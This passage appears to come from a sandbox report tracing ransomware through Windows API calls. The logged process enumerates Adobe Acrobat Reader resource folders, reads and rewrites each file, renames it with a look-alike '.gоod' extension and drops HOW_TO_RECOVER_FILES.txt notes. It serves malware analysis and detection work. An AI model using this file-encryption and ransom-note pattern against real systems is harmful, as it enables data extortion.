dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9d245244, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x127e)) returned 1 [0270.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0270.001] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css.gоod")) returned 1 [0270.002] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ec3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0270.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec8f0) returned 1 [0270.003] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0270.005] GetFileType (hFile=0x824) returned 0x1 [0270.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec860) returned 1 [0270.005] GetFileType (hFile=0x824) returned 0x1 [0270.005] WriteFile (in: hFile=0x824, lpBuffer=0x3870668*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ec9b8, lpOverlapped=0x0 | out: lpBuffer=0x3870668*, lpNumberOfBytesWritten=0x203ec9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0270.006] CloseHandle (hObject=0x824) returned 1 [0270.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0270.006] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images", lpFilePart=0x0) returned 0x79 [0270.006] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0271.102] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.102] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0271.102] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0271.102] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0271.102] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0271.103] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0271.103] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0271.103] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0271.103] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0271.103] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0271.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0271.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0271.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0271.103] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images", lpFilePart=0x0) returned 0x79 [0271.103] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0271.104] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.104] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0271.104] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0271.104] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0271.104] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0271.104] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0271.105] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0271.105] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0271.105] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0271.105] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0271.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0271.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0271.105] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png", lpFilePart=0x0) returned 0x8b [0271.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0271.105] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x3aaf138 | out: lpFileInformation=0x3aaf138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab)) returned 1 [0271.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0271.106] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png", lpFilePart=0x0) returned 0x8b [0271.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0271.106] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0271.107] GetFileType (hFile=0x824) returned 0x1 [0271.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0271.107] GetFileType (hFile=0x824) returned 0x1 [0271.107] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x2ab [0271.107] ReadFile (in: hFile=0x824, lpBuffer=0x3aaf7b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x3aaf7b0*, lpNumberOfBytesRead=0x203ec6b8*=0x2ab, lpOverlapped=0x0) returned 1 [0271.108] CloseHandle (hObject=0x824) returned 1 [0271.263] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png", lpFilePart=0x0) returned 0x8b [0271.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0271.263] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0271.265] GetFileType (hFile=0x824) returned 0x1 [0271.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0271.265] GetFileType (hFile=0x824) returned 0x1 [0271.265] WriteFile (in: hFile=0x824, lpBuffer=0x383a700*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x383a700*, lpNumberOfBytesWritten=0x203ec5c8*=0x2b0, lpOverlapped=0x0) returned 1 [0271.266] CloseHandle (hObject=0x824) returned 1 [0271.266] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png", lpFilePart=0x0) returned 0x8b [0271.266] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png.gоod", lpFilePart=0x0) returned 0x90 [0271.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0271.266] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9de63074, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b0)) returned 1 [0271.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0271.266] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons.png.gоod")) returned 1 [0271.268] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png", lpFilePart=0x0) returned 0x8d [0271.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0271.268] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png"), fInfoLevelId=0x0, lpFileInformation=0x383bb38 | out: lpFileInformation=0x383bb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1)) returned 1 [0271.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0271.715] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png", lpFilePart=0x0) returned 0x8d [0271.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0271.715] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0271.718] GetFileType (hFile=0x8a4) returned 0x1 [0271.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0271.718] GetFileType (hFile=0x8a4) returned 0x1 [0271.718] GetFileSize (in: hFile=0x8a4, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x4a1 [0271.719] ReadFile (in: hFile=0x8a4, lpBuffer=0x39bde28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x39bde28*, lpNumberOfBytesRead=0x203ec6b8*=0x4a1, lpOverlapped=0x0) returned 1 [0271.742] CloseHandle (hObject=0x8a4) returned 1 [0271.969] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png", lpFilePart=0x0) returned 0x8d [0271.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0271.969] CreateFileW (lpFileName="C:\\Program Files 